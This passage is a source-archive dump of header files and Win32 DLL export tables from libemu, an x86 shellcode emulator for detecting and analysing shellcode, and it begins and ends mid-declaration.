NULL, NULL}, {"WmiQueryAllDataMultipleA", 0x0005C8D0, NULL, NULL}, {"WmiQueryAllDataMultipleW", 0x0005B55D, NULL, NULL}, {"WmiQueryAllDataW", 0x0001502C, NULL, NULL}, {"WmiQueryGuidInformation", 0x0005C7D5, NULL, NULL}, {"WmiQuerySingleInstanceA", 0x0005C910, NULL, NULL}, {"WmiQuerySingleInstanceMultipleA", 0x0005BB4D, NULL, NULL}, {"WmiQuerySingleInstanceMultipleW", 0x0005B985, NULL, NULL}, {"WmiQuerySingleInstanceW", 0x0005B705, NULL, NULL}, {"WmiReceiveNotificationsA", 0x0005C881, NULL, NULL}, {"WmiReceiveNotificationsW", 0x0001FEEA, NULL, NULL}, {"WmiSetSingleInstanceA", 0x0005C997, NULL, NULL}, {"WmiSetSingleInstanceW", 0x0005BC77, NULL, NULL}, {"WmiSetSingleItemA", 0x0005C9FB, NULL, NULL}, {"WmiSetSingleItemW", 0x0005BE15, NULL, NULL}, {"Wow64Win32ApiEntry", 0x00068423, NULL, NULL}, {"WriteEncryptedFileRaw", 0x00043486, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export shdocvw_exports[] = { {"AddUrlToFavorites", 0x00044715, NULL, NULL}, {"DllCanUnloadNow", 0x0002200A, NULL, NULL}, {"DllGetClassObject", 0x0001531D, NULL, NULL}, {"DllGetVersion", 0x000CEE32, NULL, NULL}, {"DllInstall", 0x00056EB8, NULL, NULL}, {"DllRegisterServer", 0x00056E67, NULL, NULL}, {"DllRegisterWindowClasses", 0x00097C49, NULL, NULL}, {"DllUnregisterServer", 0x00056EA6, NULL, NULL}, {"DoAddToFavDlg", 0x00044580, NULL, NULL}, {"DoAddToFavDlgW", 0x000445CF, NULL, NULL}, {"DoFileDownload", 0x000443E5, NULL, NULL}, {"DoFileDownloadEx", 0x00044434, NULL, NULL}, {"DoOrganizeFavDlg", 0x00044620, NULL, NULL}, {"DoOrganizeFavDlgW", 0x00044672, NULL, NULL}, {"DoPrivacyDlg", 0x00044767, NULL, NULL}, {"HlinkFindFrame", 0x0004452F, NULL, NULL}, {"HlinkFrameNavigate", 0x00044486, NULL, NULL}, {"HlinkFrameNavigateNHL", 0x000444D8, NULL, NULL}, {"IEWriteErrorLog", 0x000446C3, NULL, NULL}, {"ImportPrivacySettings", 0x0004480E, NULL, NULL}, {"SHAddSubscribeFavorite", 0x00044AFA, NULL, NULL}, {"OpenURL", 0x000442AD, NULL, NULL}, {"SHGetIDispatchForFolder", 0x000BAA6A, NULL, NULL}, {"SetQueryNetSessionCount", 0x00044863, NULL, NULL}, {"SetShellOfflineState", 0x000B98F7, NULL, NULL}, {"SoftwareUpdateMessageBox", 0x000447B6, NULL, NULL}, {"URLQualifyA", 0x00044216, NULL, NULL}, {"URLQualifyW", 0x00044261, NULL, NULL}, {"IEWinMain", 0x00044262, env_w32_hook_IEWinMain, NULL, NULL, 101}, {0,0,NULL}, }; libemu-0.2.0+git20120122+564/include/emu/environment/win32/emu_env_w32.h0000644000175300017530000000560311706767213024070 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_ENV_W32 #define HAVE_EMU_ENV_W32 #include struct emu; struct emu_env_w32_dll; struct emu_env_w32_dll_export; struct emu_profile; struct emu_env; struct emu_env_hook; /** * the emu win32 enviroment struct * * @see emu_env_w32_new */ struct emu_env_w32 { /** * pointer to the emu */ struct emu *emu; /** * array of pointers to the dlls loaded to memory */ struct emu_env_w32_dll **loaded_dlls; /** * the baseaddress for the env */ uint32_t baseaddr; /** * for SEH */ uint32_t last_good_eip; uint32_t lastExceptionHandler; uint32_t exception_count; }; /** * Create a new emu_env_w32 environment * * @param e the emulation to create the w32 process environment in * * @return on success: pointer to the emu_env_w32 create * on failure: NULL */ struct emu_env_w32 *emu_env_w32_new(struct emu *e); /** * Free the emu_env_w32, free all dlls etc * * @param env the env to free */ void emu_env_w32_free(struct emu_env_w32 *env); int32_t emu_env_w32_load_dll(struct emu_env_w32 *env, char *path); /** * Hook an dll export from a dll * * @param env the env * @param exportname the exportname, f.e. "socket" * @param fnhook pointer to the hook function * * @return on success: 0 * on failure: -1 */ int32_t emu_env_w32_export_hook(struct emu_env *env, const char *exportname, uint32_t (*fnhook)(struct emu_env *env, struct emu_env_hook *hook, ...), void *userdata); /** * Check if eip is within a loaded dll, * - call the dll's export function * * @param env the env * * @return on success: pointer to the dll_export * on failure: NULL */ struct emu_env_hook *emu_env_w32_eip_check(struct emu_env *env); int32_t emu_env_w32_step_failed(struct emu_env *env); #endif libemu-0.2.0+git20120122+564/include/emu/environment/win32/env_w32_dll_export_shell32_hooks.h0000644000175300017530000000231111706767213030206 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2011 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include int32_t env_hook_SHGetSpecialFolderPathA(struct emu_env *env, struct emu_env_hook *hook); libemu-0.2.0+git20120122+564/include/emu/environment/win32/env_w32_dll_export_msvcrt_hooks.h0000644000175300017530000000264311706767213030260 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include int32_t env_w32_hook__execv(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_fclose(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_fopen(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook); libemu-0.2.0+git20120122+564/include/emu/environment/win32/env_w32_dll_export_ws2_32_hooks.h0000644000175300017530000000370611706767213027762 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include int32_t env_w32_hook_accept(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_bind(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_connect(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_listen(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_recv(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_send(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_sendto(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_socket(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_WSASocketA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_WSAStartup(struct emu_env *env, struct emu_env_hook *hook); libemu-0.2.0+git20120122+564/include/emu/environment/Makefile.am0000644000175300017530000000022611706767213022654 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign SUBDIRS = win32 linux includedir = $(prefix)/include/emu/environment include_HEADERS = emu_profile.h emu_env.h libemu-0.2.0+git20120122+564/include/emu/emu_cpu.h0000644000175300017530000000611111706767213020061 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_CPU_H #define HAVE_EMU_CPU_H #include struct emu; struct emu_cpu; enum emu_reg32 { eax = 0, ecx, edx, ebx, esp, ebp, esi, edi }; enum emu_reg16 { ax = 0,/* eax */ cx, /* ecx */ dx, /* edx */ bx, /* ebx */ sp, /* esp */ bp, /* ebp */ si, /* esp */ di /* edi */ }; enum emu_reg8 { al=0, /* eax */ cl, /* ecx */ dl, /* edx */ bl, /* ebx */ ah, /* eax */ ch, /* ecx */ dh, /* edx */ bh /* ebx */ }; struct emu_cpu *emu_cpu_new(struct emu *e); uint32_t emu_cpu_reg32_get(struct emu_cpu *cpu_p, enum emu_reg32 reg); void emu_cpu_reg32_set(struct emu_cpu *cpu_p, enum emu_reg32 reg, uint32_t val); uint16_t emu_cpu_reg16_get(struct emu_cpu *cpu_p, enum emu_reg16 reg); void emu_cpu_reg16_set(struct emu_cpu *cpu_p, enum emu_reg16 reg, uint16_t val); uint8_t emu_cpu_reg8_get(struct emu_cpu *cpu_p, enum emu_reg8 reg); void emu_cpu_reg8_set(struct emu_cpu *cpu_p, enum emu_reg8 reg, uint8_t val); uint32_t emu_cpu_eflags_get(struct emu_cpu *c); void emu_cpu_eflags_set(struct emu_cpu *c, uint32_t val); /** * Set the cpu's EIP * * @param c the cpu * @param eip eip */ void emu_cpu_eip_set(struct emu_cpu *c, uint32_t eip); /** * get the cpu's EIP * * @param c the cpu * * @return EIP */ uint32_t emu_cpu_eip_get(struct emu_cpu *c); /** * parse a instruction at EIP * * @param c the cpu * * @return on success: 0 * on errror : -1, check emu_errno and emu_strerror */ int32_t emu_cpu_parse(struct emu_cpu *c); /** * step the last instruction * * @param c the cpu * * @return on success: 0 * on errror : -1, check emu_errno and emu_strerror */ int32_t emu_cpu_step(struct emu_cpu *c); int32_t emu_cpu_run(struct emu_cpu *c); void emu_cpu_free(struct emu_cpu *c); void emu_cpu_debug_print(struct emu_cpu *c); void emu_cpu_debugflag_set(struct emu_cpu *c, uint8_t flag); void emu_cpu_debugflag_unset(struct emu_cpu *c, uint8_t flag); #endif /* HAVEEMU_CPU_H */ libemu-0.2.0+git20120122+564/include/emu/emu_shellcode.h0000644000175300017530000000344211706767213021240 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_SHELLCODE_H #define HAVE_EMU_SHELLCODE_H #include struct emu; /** * Tests a given buffer for possible shellcodes * * @param e the emu * @param data the buffer to test * @param size the size of the buffer * * @return on success, the offset within the buffer where the shellcode is suspected * on failure (no shellcode detected), -1 */ int32_t emu_shellcode_test(struct emu *e, uint8_t *data, uint16_t size); struct emu_stats { uint32_t eip; struct { uint32_t read_access; uint32_t write_access; } memory; struct { uint32_t steps; }cpu; }; struct emu_stats *emu_stats_new(void); void emu_stats_free(struct emu_stats *es); #endif libemu-0.2.0+git20120122+564/include/emu/emu_log.h0000644000175300017530000000377211706767213020065 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_LOG_H #define HAVE_EMU_LOG_H struct emu; enum emu_log_level { EMU_LOG_NONE, EMU_LOG_INFO, EMU_LOG_DEBUG }; typedef void (*emu_log_logcb)(struct emu *e, enum emu_log_level level, const char *msg); struct emu_logging *emu_log_new(void); void emu_log_free(struct emu_logging *el); void emu_log_level_set(struct emu_logging *el, enum emu_log_level level); void emu_log(struct emu *e, enum emu_log_level level, const char *format, ...); void emu_log_set_logcb(struct emu_logging *el, emu_log_logcb logcb); void emu_log_default_logcb(struct emu *e, enum emu_log_level level, const char *msg); #define logInfo(e, format...) emu_log(e, EMU_LOG_INFO, format) #ifdef DEBUG #define logDebug(e, format...) emu_log(e, EMU_LOG_DEBUG, format) #else #define logDebug(e, format...) #endif // DEBUG #define logPF(e) logDebug(e, "in <%s> %s:%i>\n", __PRETTY_FUNCTION__, __FILE__, __LINE__) #endif // HAVE_EMU_LOG_H libemu-0.2.0+git20120122+564/include/emu/emu_cpu_functions.h0000644000175300017530000005650611706767213022166 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_CPU_FUNCTIONS_H #define HAVE_EMU_CPU_FUNCTIONS_H /* misc */ int32_t prefix_fn(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cpuid_0fa2(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_salc_d6(struct emu_cpu *c, struct emu_cpu_instruction *i); /* add */ int32_t instr_add_00(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_add_01(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_add_02(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_add_03(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_add_04(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_add_05(struct emu_cpu *c, struct emu_cpu_instruction *i); /* or */ int32_t instr_or_08(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_or_09(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_or_0a(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_or_0b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_or_0c(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_or_0d(struct emu_cpu *c, struct emu_cpu_instruction *i); /* adc */ int32_t instr_adc_10(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_adc_11(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_adc_12(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_adc_13(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_adc_14(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_adc_15(struct emu_cpu *c, struct emu_cpu_instruction *i); /* sbb */ int32_t instr_sbb_18(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sbb_19(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sbb_1a(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sbb_1b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sbb_1c(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sbb_1d(struct emu_cpu *c, struct emu_cpu_instruction *i); /* and */ int32_t instr_and_20(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_and_21(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_and_22(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_and_23(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_and_24(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_and_25(struct emu_cpu *c, struct emu_cpu_instruction *i); /* sub */ int32_t instr_sub_28(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sub_29(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sub_2a(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sub_2b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sub_2c(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sub_2d(struct emu_cpu *c, struct emu_cpu_instruction *i); /* xor */ int32_t instr_xor_30(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_xor_31(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_xor_32(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_xor_33(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_xor_34(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_xor_35(struct emu_cpu *c, struct emu_cpu_instruction *i); /* cmp */ int32_t instr_cmp_38(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cmp_39(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cmp_3a(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cmp_3b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cmp_3c(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cmp_3d(struct emu_cpu *c, struct emu_cpu_instruction *i); /* group 1 */ int32_t instr_group_1_80(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_add(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_or (struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_adc(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_and(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_sub(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_xor(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_80_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_add(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_or(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_adc(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_and(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_sub(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_xor(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_81_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_add(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_or(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_adc(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_and(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_sub(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_xor(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_1_83_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i); /* group 3 */ int32_t instr_group_3_f6(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_test(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_test(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_not(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_neg(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_mul(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_imul(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_div(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f6_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_test(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_test(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_not(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_neg(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_mul(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_imul(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_div(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_3_f7_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i); /* group 4 */ int32_t instr_group_4_fe(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_4_fe_inc(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_4_fe_dec(struct emu_cpu *c, struct emu_cpu_instruction *i); /* group 5 */ int32_t instr_group_5_ff(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_5_ff_inc(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_5_ff_dec(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_5_ff_call(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_5_ff_jmp(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_5_ff_push(struct emu_cpu *c, struct emu_cpu_instruction *i); /* group 10 */ int32_t instr_group_10_8f(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_10_8f_pop(struct emu_cpu *c, struct emu_cpu_instruction *i); /* inc */ int32_t instr_inc_4x(struct emu_cpu *c, struct emu_cpu_instruction *i); /* dec */ int32_t instr_dec_4x(struct emu_cpu *c, struct emu_cpu_instruction *i); /* jcc */ int32_t instr_jcc_70(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_71(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_72(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_73(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_74(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_75(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_76(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_77(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_78(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_79(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_7a(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_7b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_7c(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_7d(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_7e(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_7f(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_e3(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f80(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f81(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f82(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f83(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f84(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f85(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f86(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f87(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f88(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f89(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f8a(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f8b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f8c(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f8d(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f8e(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_jcc_0f8f(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_setcc_0f94(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_setcc_0f95(struct emu_cpu *c, struct emu_cpu_instruction *i); /* jump */ int32_t instr_jmp_e9(struct emu_cpu *c, struct emu_cpu_instruction *i); /*int32_t instr_jmp_ea(struct emu_cpu *c, struct instruction *i);*/ int32_t instr_jmp_eb(struct emu_cpu *c, struct emu_cpu_instruction *i); /* mov */ int32_t instr_mov_88(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_89(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_8a(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_8b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_8c(struct emu_cpu *c, struct emu_cpu_instruction *i); /*int32_t instr_mov_8e(struct emu_cpu *c, struct instruction *i);*/ int32_t instr_mov_a0(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_a1(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_a2(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_a3(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_movsb(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_bx_1(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_bx_2(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_c6(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_mov_c7(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_leave(struct emu_cpu *c, struct emu_cpu_instruction *i); /* pop */ /*int32_t instr_pop_07(struct emu_cpu *c, struct instruction *i); int32_t instr_pop_17(struct emu_cpu *c, struct instruction *i); int32_t instr_pop_1f(struct emu_cpu *c, struct instruction *i);*/ int32_t instr_pop_5x(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_popad_61(struct emu_cpu *c, struct emu_cpu_instruction *i); /*int32_t instr_pop_0fa1(struct emu_cpu *c, struct instruction *i); int32_t instr_pop_0fa9(struct emu_cpu *c, struct instruction *i);*/ /* push */ /*int32_t instr_push_06(struct emu_cpu *c, struct instruction *i); int32_t 